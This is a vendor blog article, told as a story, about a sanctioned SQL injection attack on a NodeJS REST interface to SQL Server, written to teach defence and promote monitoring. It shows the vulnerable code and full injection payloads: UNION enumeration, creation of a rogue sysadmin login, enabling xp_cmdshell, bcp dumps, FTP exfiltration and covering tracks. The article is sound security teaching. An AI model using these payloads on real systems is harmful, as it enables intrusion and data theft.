Picking over the Bones of a SQL Injection Attack
The best way to learn how to protect your databases from SQL Injection is to to see it in action and confront its consequences. This article tells the story of an attack on a vulnerable SQL Server REST interface, explaining how the attack unfolds, the mistakes that made it possible, and SQL Monitor's role as the 'canary in the mine'.
Some developers are like bikers. They think that accidents and disasters are things that happen to other people.
They aren’t.
The Developer
Joe De Vell sat blinking in some confusion at the unexpected errors scrolling suddenly down his command line screen. It was output from his new SQL Server REST interface, built using NodeJS. How odd. He hadn’t been using the interface for the last half hour! Perhaps NodeJS was spontaneously caught in a looping error, as it might if running out of memory resources?
The team had only a few days previously been congratulating themselves on the speed with which they’d managed to get this pilot project up and running. AdventureWorks were under pressure to get their database working with the new website, which was based on SQL Server Express, AngularJS and Node.js.
Joe had built the interface, connected it up to the main development database, which he’d restored from a recent backup. They’d run a few tests within the development department to make sure it worked, and then added it to the public facing site for some further tests, simulating usage by the AdventureWorks shops with internet latency.
This morning he’d been running tests with CURL. He was executing NodeJS remotely in a command-shell rather than running it as a service and watching the output from Node. He had been worried about occasional errors to do with unhandled promises from the mssql driver and had been busy Googling when he’d suddenly noticed the command-line screen scrolling with all these errors.
After a while the scrolling paused. In the middle of the command shell was one of the errors. It was an EREQUEST error. One of the error lines read:
|
1 |
'Error: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.' |
He was baffled. What is going on? Suddenly, Joe sensed a looming presence at his shoulder…
The DBA
Grant ‘Deny’ De Beay, the rather strong-willed Database Admin uttered a choice few words that couldn’t be repeated before the 9.00pm watershed.
“So…I take it you guys are developing on the Staging server? I’m getting all sorts of security alerts for SQL errors, tables being created, and worse.”
“Err. No. Well, yes, but….”
Grant causally leaned forward and aborted the NodeJS session with a Ctrl-C. He then pulled up his SQL Monitor dashboard to show them the alerts.
Grant pointed to the bottom two, SuspiciousErrors and Database Drift. “These alerts mean we’re seeing a lot of SQL errors and metadata changes from adding, altering, dropping objects. Was that you?”
“Well, err, no. I mean, yes. Maybe a few, but…”
“And what about these two, Change to a login, role or user and Database Configuration Setting Changed? Who has been altering permissions and changing configuration settings? I already set all those up for you, including all the elevated permissions you insist you need”
“Now, no, that wasn’t us…we know not to mess with those!”
Grant went over to a console and executed a query, his reporting query for his custom Security alerts, which provided a ‘narrative’ of the changes that had been made. He did not like what he saw one bit.
He stared at it, exercising his finely-tuned anger-management skills, before looking up.
“Look at all this… this is all done by your NodeJS login, AdventureWorksMobile! There are all these SQL errors. Then, you’ve used your own sysadmin login to create a new MSSecurtiyMtr sysadmin login! Ad Hoc Distributed Queries and xp_cmdshell have been enabled! What the heck is going on here!”
Joe was ashen-faced. “Yes, that’s our app login, but…we didn’t make those changes. Honestly.”
Grant sighed, weary. “I knew it was terrible idea to let you to use admin logins on Staging. We’re going to have to call in the security team. Someone has hacked into the system…”
The Security Guy
Phil Factor, the Security guy, wandered in. “How’s tricks?” he asked, cheerily.
The figures slumped disconsolately across the office furniture told him all he needed to know.
Grant started the discussion. “Someone here set up a NodeJS interface and used a sysadmin login and password, just to get a demo system up and running.”
“And?”
“And…it looks like it got hacked. I’ve not gone into the details, but it has all the hallmarks of a SQL Injection attack. They even enabled xp_cmdshell, probably to copy a payload off the staging server. By now, our data could be in China, Poland, Uzbekistan, or who knows!”
All eyes were on Phil Factor, expecting him to spontaneously combust, in anger. Phil didn’t self-immolate. Instead he smiled.
“Yes, in fact, the attacker managed to copy all the company’s data off the database, and on to an FTP server. But not in Uzbekistan, thankfully.”
Joe stared at Phil, gaping. How did he know?
“The truth is, I did it.”
Phil allowed a long pause to let this sink in, before smiling knowingly at Grant who also suddenly broke into a wide grin.
“I hacked your application, with Grant’s and management’s consent, to investigate, and to demonstrate how quickly a careless mistake can be exploited.”
Joe was dumbfounded.
“But, how did you even know about our Test Node application? It’s only been up a couple of days!”
“Simple. I am a security guy. I’m routinely port-scanning every server we have, and I was alerted to the server’s firewall having another port opened. I probed the port and found it was an active Node JS service. The default REST call brings up a response. Once I had a good endpoint, I just had to probe for weaknesses in the code and, well, you almost made it too easy for me.”
“But…why? how?”
“I’m glad you asked, because I can show you the PowerShell script I used. I’ll tidy it up and document it, for you to study, but I’ll step you through the main parts now, because hopefully you’ll see how easy it is to hack an unprotected connection, whether it is ODBC or Rest, or even a web page. I could have done it all from a web page.”
The Flaw
“Before I reveal my attack script, Joe, can you show me the code that made my attack possible?”
Joe had built a simple NodeJS interface and it looked like this….
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
const express = require('express'); // minimalist web framework for Node.js const app = express(); const sql = require('mssql'); // Microsoft SQL Server client for Node.js process.on('unhandledRejection', error => { // console.log('Promise Rejection!', error.message); }); //In addition to configuration object there is an option to pass config // as a connection string. Two formats of connection string are supported. // configuration parameters. const sqlConfig = { user: 'AdventureWorksMobile', password: 'cunningpassword', server: 'AWStaging', database: 'Adventureworks2016' } // Start server and listen on http://localhost:8081/ var server = app.listen(8081, function() { var host = server.address().address var port = server.address().port console.log("app listening at http://%s:%s", host, port) }); const connection = new sql.ConnectionPool(sqlConfig) // define a simple route app.get('/', function(req, res) { res.json({"message": "Welcome to Adventureworks Sample App."}); }); // if you plan to work with local temporary tables, use batch instead. // //uses sp_ExecuteSQL app.get('/adventure/:customerId/', function(req, res) { connection.connect().then(pool => { //Using a single connection pool is recommended var stringRequest = 'select * from Sales.Customer where (customerId = ' + req.params.customerId+')'; return pool.request().query(stringRequest) }).then(result => { let rows = result.recordset res.setHeader('Access-Control-Allow-Origin', '*') res.status(200).json(rows); connection.close(function(err){ if (err){ console.log(err); } }); }).catch(err => { console.log(err); res.status(500).send({ message: err.originalError.info.message }) connection.close(); }); }); app.get('/adventureproc/:customerId/', function(req, res) { connection.connect() //get a connection from the pool .then(function() { const request = new sql.Request(connection); //create a request request.input("BusinessEntityID", req.params.customerId);// name, type, value request.execute("uspGetEmployeeManagers")//the name of the procedure .then(result => { let rows = result.recordset //first recordset res.setHeader('Access-Control-Allow-Origin', '*') res.status(200).json(rows); connection.close(); }).catch(err => { console.log(err); res.status(500).send({ message: err.originalError.info.message }) connection.close(); //send the connection back to the pool }); }) }); |
Grant put his head in his hands. Phil suppressed a fit of the giggles. “Yes, well, I couldn’t do much damage with the stored procedure, but that query was a different matter. The critical errors are in this bit”:
|
1 2 3 |
app.get('/adventure/:customerId/', <strong>function</strong>(req, res) <strong>{</strong> connection.connect().then(pool <strong>=></strong> <strong>{</strong> <em>//Using a single connection pool is recommended</em> <strong> var stringRequest = 'select * from Sales.Customer where (customerId = ' + req.params.customerId+')';</strong> |
“I won’t spoil the surprise. Let’s me demonstrate what this meant I was able to do…”
The Hack
Phil proudly opened his automated PowerShell attack script. “Don’t worry about the ‘dark side’ getting hold of this, by the way. They have much better scripts already. There is nothing they can learn from me.”
So here, I’m just executing the query you provided, with a value of 1 for the CustomerID parameter. Sure enough, the row is returned, and already I’ve spotted your first mistake.
PS Z:\> Write-Host -ForegroundColor 'yellow' "... I'm testing the query on $ThebaseURI/Adventure, running it properly. Parameter 1"
Try { Invoke-RestMethod -Method 'Get' -Uri ($ThebaseURI + '/adventure/1')
} Catch { write-warning $_}
... I'm testing the query on http://localhost:8081/Adventure, running it properly. Parameter 1
VERBOSE: GET http://localhost:8081/adventure/1 with 0-byte payload
VERBOSE: received 184-byte response of content type application/json; charset=utf-8
CustomerID : 1
PersonID :
StoreID : 934
TerritoryID : 1
AccountNumber : AW00000001
rowguid : 3F5AE95E-B87D-4AED-95B4-C3797AFCB74F
ModifiedDate : 2014-09-12T11:15:07.263Z
Joe was confused. “That’s exactly how it’s supposed to work!”
Grant interjected. “The mistake Phil means is that this is production data and you’re using it to do development work! You should be using masked clones, like I told you, not just restoring old production backups!”
Joe shut up. Phil continued
Early stages: suspicious errors
I tried supplying the string silly instead of an integer, and immediately discovered your next mistake. Well, two mistakes.
... I'm checking to see if the query is parameterized
VERBOSE: GET http://localhost:8081/adventure/silly with 0-byte payload
WARNING: {"message":"Invalid column name 'silly'."}
I see a lovely clear error message, and this tells me two things. Firstly, you’re doing no client-side input validation. This query expects an INT, but I’ve given it a string. You should be running checks in your code, and if the input isn’t the right type or format, it should never make it to the server. Secondly, it’s telling me that you’re just concatenating the string I provided directly into the SQL string that SQL Server executes. There’s no parameterization going on here! I now know this code is vulnerable to SQL Injection attack.
Now I’m trying to get it to execute a second query, but I’ve got the format wrong.
... I'm trying an alternative to get it to execute the second query
VERBOSE: GET http://localhost:8081/adventure/4);select silly with 0-byte payload
WARNING: {"message":"Incorrect syntax near ')'."}
SQL Server tried to execute this…
|
1 |
select * from Sales.Customer where (customerId = 4);SELECT silly); |
…and doesn’t like the closing bracket.
This error, and the earlier 207 error, get picked up by Grant’s SuspiciousErrors custom monitor. I don’t want to cause too many of these SQL errors, but when one’s trying to navigate a schema ‘blind’ one will need to cause a few. Sadly, or happily from an attacker’s point of view, there is usually no monitoring in place to catch these ‘early warning’ signals.
Sure enough, as soon as I comment out the trailing bracket, I’m airborne. It’s tried to execute the second query.
PS Z:\> Write-Host -ForegroundColor 'yellow' "... I forgot to comment-out the trailing bracket"
Try {Invoke-RestMethod -Method 'Get' -Uri ($ThebaseURI + '/adventure/4);select silly --')
} Catch { write-warning $_}
... I forgot to comment-out the trailing bracket
VERBOSE: GET http://localhost:8081/adventure/4);select silly -- with 0-byte payload
WARNING: {"message":"Invalid column name 'silly'."}
Look what happens if I modify the WHERE clause, appending an OR 1=1 condition so that it evaluates to TRUE for every row. I get the whole table instead or just one row!
PS Z:\> Write-Host -ForegroundColor 'yellow' "... I want to get the entire table rather than one row"
Try {Invoke-RestMethod -Method 'Get' -Uri ($ThebaseURI + '/adventure/1 or 1=1')|format-table
} Catch { write-warning $_}
... I want to get the entire table rather than one row
VERBOSE: GET http://localhost:8081/adventure/1 or 1=1 with 0-byte payload
VERBOSE: received 3736425-byte response of content type application/json; charset=utf-8
CustomerID PersonID StoreID TerritoryID AccountNumber rowguid ModifiedDate
---------- -------- ------- ----------- ------------- -------
1 934 1 AW00000001 3F5AE95E-B87D-4AED-95B4-C3797AFCB74F 2014-09-12T11:15:07.263Z
2 1028 1 AW00000002 E552F657-A9AF-4A7D-A645-C429D6E02491 2014-09-12T11:15:07.263Z
3 642 4 AW00000003 130774B1-DB21-4EF3-98C8-C104BCD6ED6D 2014-09-12T11:15:07.263Z
4 932 4 AW00000004 FF862851-1DAA-4044-BE7C-3E85583C054D 2014-09-12T11:15:07.263Z
5 1026 4 AW00000005 83905BDC-6F5E-4F71-B162-C98DA069F38A 2014-09-12T11:15:07.263Z
6 644 4 AW00000006 1A92DF88-BFA2-467D-BD54-FCB9E647FDD7 2014-09-12T11:15:07.263Z
7 930 1 AW00000007 03E9273E-B193-448E-9823-FE0C44AEED78 2014-09-12T11:15:07.263Z
The UNION ALL trick: broadening the attack
Now I know 7 columns are returned, I can find out if the UNION ALL trick is going to allow me to get more than one result.
... Now I'm Seeing whether the UNION trick works
VERBOSE: GET http://localhost:8081/adventure/1)
union all Select null, null, null, null, null, null, null -- with 0-byte payload
VERBOSE: received 310-byte response of content type application/json; charset=utf-8
CustomerID : 1
PersonID :
StoreID : 934
TerritoryID : 1
AccountNumber : AW00000001
rowguid : 3F5AE95E-B87D-4AED-95B4-C3797AFCB74F
ModifiedDate : 2014-09-12T11:15:07.263Z
CustomerID :
PersonID :
StoreID :
TerritoryID :
AccountNumber :
rowguid :
ModifiedDate :
That worked! Now if I just suppress the results of first query, by appending an impossible OR 1=2 condition, and match the datatypes of the second query in the UNION ALL to those returned by the first, then I can get back any results I like!
In the next bit, I’m using the AccountNumber string to return the server and database names and the integers to find out which privileges our user connection has.
... Get the basic information about the login assigned to the REST interface
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2)
union select IS_SRVROLEMEMBER('diskadmin', system_user) ,
IS_SRVROLEMEMBER('securityadmin', system_user),
IS_SRVROLEMEMBER('sysadmin', system_user),
IS_SRVROLEMEMBER('serveradmin', system_user),
'server '+@@ServerName+'-'+system_user+' '+current_user,null,null
union select IS_MEMBER('db_owner') ,
IS_MEMBER('db_securityadmin'),
IS_MEMBER('db_accessadmin'),
IS_MEMBER('db_ddladmin'),
'Database ='+db_name()+' '+system_user+' '+current_user,null,null
-- with 0-byte payload
VERBOSE: received 322-byte response of content type application/json; charset=utf-8
CustomerID : 1
PersonID : 1
StoreID : 1
TerritoryID : 1
AccountNumber : Database =AdventureWorks2016 AdventureWorksMobile dbo
rowguid :
ModifiedDate :
CustomerID : 1
PersonID : 1
StoreID : 1
TerritoryID : 1
AccountNumber : server AWStaging-AdventureWorksMobile dbo
rowguid :
ModifiedDate :
“Oh dear” It was an understatement from Grant. “Yes, they’ve used their development login on the interface rather than wait in a queue to get a suitable login. And like most developers, it has Sysadmin access to Staging.”
“Indeed” said Phil “And now you are in deep trouble I’m afraid…
I can get at the system tables and have a sniff around from any interesting columns. Ooh look, credit cards!
... Using the system tables to search for sensitive columns
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2 )
union
select
column_id,system_type_id,max_length,object_id,
Object_Schema_Name(object_id)+ '.'+Object_Name(object_id)+ '.'+ name,
null,null
FROM sys.columns
WHERE name LIKE '%25card%25'
OR Object_Name(object_id) LIKE '%25card%25'-- with 0-byte payload
VERBOSE: received 3216-byte response of content type application/json; charset=utf-8
Object_id column System_Type_id Max_Length Column_id
--------- ------ -------------- ---------- ---------
1189579276 Sales.CreditCard.CreditCardID 56 4 1
1189579276 Sales.CreditCard.CardType 231 100 2
1189579276 Sales.CreditCard.CardNumber 231 50 3
..etc..
Elevating permissions
At some point, an attacker will want their own login, especially if they intend to get the payload off to a remote server. So, next, I use your elevated-privilege application login to create my own sysadmin login.
... Create our own SQL Server sysadmin login
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
CREATE LOGIN MSSecurityMtr WITH PASSWORD = 'NowIHave@SysAdminPWDHo!Ho!Ho!';
EXEC master..sp_addsrvrolemember @loginame = N'MSSecurityMtr', @rolename = N'sysadmin' -- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8
Grant’s custom monitor for access control and permission changes picks this up, but nevertheless I now have sysadmin access using a SQL Server login. I can probably now attack the SQL Server directly, if I know its address. However, I can still do plenty of damage just using the NodeJs login.
Making SQL Server configuration changes
I’ll need to use OPENROWSET to connect to my remote server, and I’ll also need to run some OS commands. No problem, I can activate advanced configuration options like Ad Hoc Distributed Queries or xp_cmdshell. Again, Grant is monitoring for these changes, as you saw earlier.
... See if we can change the configuration VERBOSE: GET http://localhost:8081/adventure/1 and 1=2); use AdventureWorks2016 execute sp_configure 'show advanced options',1; reconfigure with override; execute sp_configure 'Ad Hoc Distributed Queries',1; reconfigure with override; -- with 0-byte payload VERBOSE: received 2-byte response of content type application/json; charset=utf-8
This works. I now have full control over this server and can keep control even if the DBA spots that the user assigned has too many permissions.
Stealing the data
There were a couple of critical steps to the final part of my attack. For starters, I need to get a directory listing. This requires two steps, first creating a table to store the details and then reading from the table.
I had a slight hiccough here, when I initially saved the directory details to a temporary table, because when I tried to connect again to read from it, I was scuppered by connection pooling; my original connection was no longer there.
This meant I had to create a permanent table, execute the directory commands to get the data, then read back the contents and drop the table. It worked a treat.
... Right. We have to use a permanent table to get a file listing
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
create table MS_Temp267 (TheORDER int identity, theLine NVARCHAR(255));
INSERT INTO MS_Temp267(theLine) EXECUTE xp_cmdshell 'dir c:%5C';
INSERT INTO MS_Temp267(theLine) EXECUTE xp_cmdshell 'net use';
INSERT INTO MS_Temp267(theLine) EXECUTE xp_cmdshell 'wmic logicaldisk list brief'--; with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8
... now read back the contents of the temp table
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2) union all
SELECT NULL,NULL,NULL,NULL,TheLine,NULL,NULL FROM MS_Temp267;drop table MS_Temp267-- with 0-byte payload
VERBOSE: received 4542-byte response of content type application/json; charset=utf-8
Table
-----
Volume in drive C is System
Volume Serial Number is 7C3A-C040
Directory of c:\
12/09/2016 11:35 <DIR> Logs
14/03/2018 17:38 <DIR> PerfLogs
14/03/2018 17:52 <DIR> Program Files
22/01/2018 15:51 <DIR> Program Files (x86)
16/11/2018 10:50 <DIR> SQLBackups
30/11/2018 17:08 <DIR> SQLData
12/06/2018 17:52 <DIR> Temp
01/05/2018 13:38 <DIR> Users
16/11/2018 17:47 <DIR> Windows
28/02/2018 16:13 <DIR> XMLData
0 File(s) 0 bytes
12 Dir(s) 27,775,627,264 bytes free
New connections will be remembered.
There are no entries in the list.
DeviceID DriveType FreeSpace ProviderName Size VolumeName...
C: 3 27775627264 85897244672 System ...
Because Grant was actively monitoring for metadata changes, he detected that I’d created this table. Otherwise, you might never know.
Now I knew I had a C:\ drive to work with, so I just created a DataBackups directory on it, and then used bcp to dump all the data into it.
... dump the entire database in a directory VERBOSE: GET http://localhost:8081/adventure/1 and 1=2); EXEC sp_msforeachtable 'xp_cmdshell ''bcp %3F out C:%5CDataBackups%5C%3F.data -n -N -dAdventureWorks2016 -UMSSecurityMtr -PDtctTn2L2TXqfuqb -STONY-SQL2017'';'-- with 0-byte payload VERBOSE: received 2-byte response of content type application/json; charset=utf-8
Again, it worked a treat.
That done, I reached the ‘payload’ of the attack, where I FTP all this data across to my own FTP server.
... Now ship the payload of AdventureWorks2016.TONY-SQL2017 out to our remote FTP site VERBOSE: GET http://localhost:8081/adventure/1 and 1=2); Execute xp_cmdshell 'echo open >C:%5CDataBackups%5Coutput.txt'; Execute xp_cmdshell 'echo >>C:%5CDataBackups%5Coutput.txt'; Execute xp_cmdshell 'echo >>C:%5CDataBackups%5Coutput.txt'; Execute xp_cmdshell 'echo prompt>>C:%5CDataBackups%5Coutput.txt'; Execute xp_cmdshell 'echo cd >>C:%5CDataBackups%5Coutput.txt'; Execute xp_cmdshell 'echo mput C:%5CDataBackups%5C* >>C:%5CDataBackups%5Coutput.txt'; Execute xp_cmdshell 'ftp -s:C:%5CDataBackups%5Coutput.txt'-- with 0-byte payload VERBOSE: received 2-byte response of content type application/json; charset=utf-8
And, here is the sobering sight of all your data on my remote FTP server:
Finally, I just cover my tracks by deleting the directory, resetting the configuration settings, and so on.
... Now let's tear-down and cover our tracks VERBOSE: GET http://localhost:8081/adventure/1 and 1=2); use AdventureWorks2016 EXEC sp_configure @configname='hadoop connectivity'; execute sp_configure 'show advanced options',1; reconfigure with override; Execute xp_cmdshell 'del C:%5CDataBackups%5C*.* %2FQ' Execute xp_cmdshell 'rmdir C:%5CDataBackups' execute sp_configure 'Ad Hoc Distributed Queries',0; execute sp_configure 'xp_cmdshell', 0; reconfigure with override; -- with 0-byte payload VERBOSE: received 2-byte response of content type application/json; charset=utf-8
Unless, you were monitoring, you might never know it all happened….
The Fix
If anything, Joe looked even more ashen of face than he did when he thought their data might now be in Uzbekistan.
Phil tried to perk him up.
“Don’t feel too bad, Joe. Yes, in retrospect, it was silly, but when you’re under pressure and racing to add features, developers can easily forget the need for basic security precautions. The first mistake in the code was having an unparameterized query. However, this wouldn’t have been so dangerous, if you had checked and validated the string that was passed to the query. It should have been an integer and therefore should have been checked.
Fortunately, the code fix is simple, and I’m sure you’ll never forget it again. That app.get should have been first validated and then parameterised, like this, to prevent any malicious user from getting into the system …”
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
app.get('/adventure/:customerId/', function(req, res) { connection.connect().then(pool => { //Using a single connection pool is recommended var conn=pool.request() var forInteger = /\b\d+\b/i; //make sure that there is only an integer. if (forInteger.test(req.params.customerId)) { //check whether it was an integer conn.input('input_parameter', sql.Int, req.params.customerId)} else {conn.input('input_parameter', sql.Int, 1)} //otherwise just pass a 1 var string = 'select * from Sales.Customer where customerId = @input_parameter' return conn.query(string) }).then(result => { let rows = result.recordset res.setHeader('Access-Control-Allow-Origin', '*') res.status(200).json(rows); connection.close(); }).catch(err => { console.log(err); res.status(500).send({ message: err.originalError.info.message }) connection.close(); }); }); |
The Lessons
What are the main lessons? I can think of a few good ones:
- Never allow personal or sensitive data to leave the security of the production server. Either mask the data so that you are sure it is safe to use or else generate the data from scratch.
- Never use logins that can do more than you need them to do. If you want a login to read from a couple of tables and nothing else, then why use something that can do much more?
- Always parameterize your queries
- Always do client-side input validation.
- Haven taken all precautions to secure your servers and database from intrusion, you still need to have monitoring in place, to spot any attempts at illegal or unauthorized activity.
Don’t forget that I was demonstrating a pre-prepared and automated attack. End-to-end, it took only a couple of minutes to run, and copy off your data.
Generally, a cyber-attack will take longer; hours or days rather than minutes, unless the attacker has acquired ‘insider knowledge’. The attacker will need to navigate through your schema ‘blind’ and will trigger quite a few of those SQL syntax errors. That’s why that Suspicious Errors customer monitor is such as useful “canary in the mine”. It will alert you as early as possible to signs of attempted intrusion. The cause might be entirely innocuous, but at least you can investigate, and batten down hatches if it’s not. The other custom monitors for permission changes, configuration changes and object changes are your next line of defense and are equally useful for detecting unauthorized changes made internally.
The important thing is that with a tool like SQL Monitor, you get not only the early warning, in the form of the alerts, but also can quickly query the diagnostic data behind the alerts to get a ‘narrative’ of what changes were made by whom, and when. Once someone has sysadmin privilege they can do pretty much anything – even turn off your native monitoring systems. If you have a third-party tool, then you will at least always be warned if this happens.
Tools in this post
Redgate Monitor
Real-time SQL Server and PostgreSQL performance monitoring, with alerts and diagnostics
You may also like
-
Webinar
SQL Monitor: Monitor your performance and availability
Managing your entire SQL Server estate, on premises, in the cloud or a hybrid, with instant problem diagnosis, intelligent and customizable alerting has never been more vital. Discover how Redgate’s SQL Monitor enables all this from a single pane of glass.
-
Article
Integrating Redgate Monitor Alerts with New Relic
This article demonstrates how to use a script notification, in PowerShell, to automatically send database alerts raised by Redgate Monitor as incidents to New Relic. This simple integration makes it easy to feed the detailed diagnostics that only a specialized database monitoring system such as Redgate Monitor provides, and the DBA team relies on for a rapid response, into a single, organization-wide incident management system.
-
Webinar
How to Size & Price a Cloud Environment - A Guide for the DBA
Join Pamela Mooney as she takes you through the steps of learning to educate yourself on SQL offerings in the Azure environment, their pros and cons, assessing your readiness for migration, and how to make your case to the business. When we're done, you will have a better idea of how to get started and will be prepared to handle some of the more in-depth how-tos out there.
-
Article
Tagging SQL Server Changes in SQL Monitor
How to use RAISERROR() in T-SQL to send annotations to SQL Monitor, so you can observe the direct impact of application tasks, or server changes, on the SQL Server metrics.
-
Forums
Redgate Monitor Forum
Real-time performance monitoring for SQL Server and PostgreSQL, with alerts and diagnostics
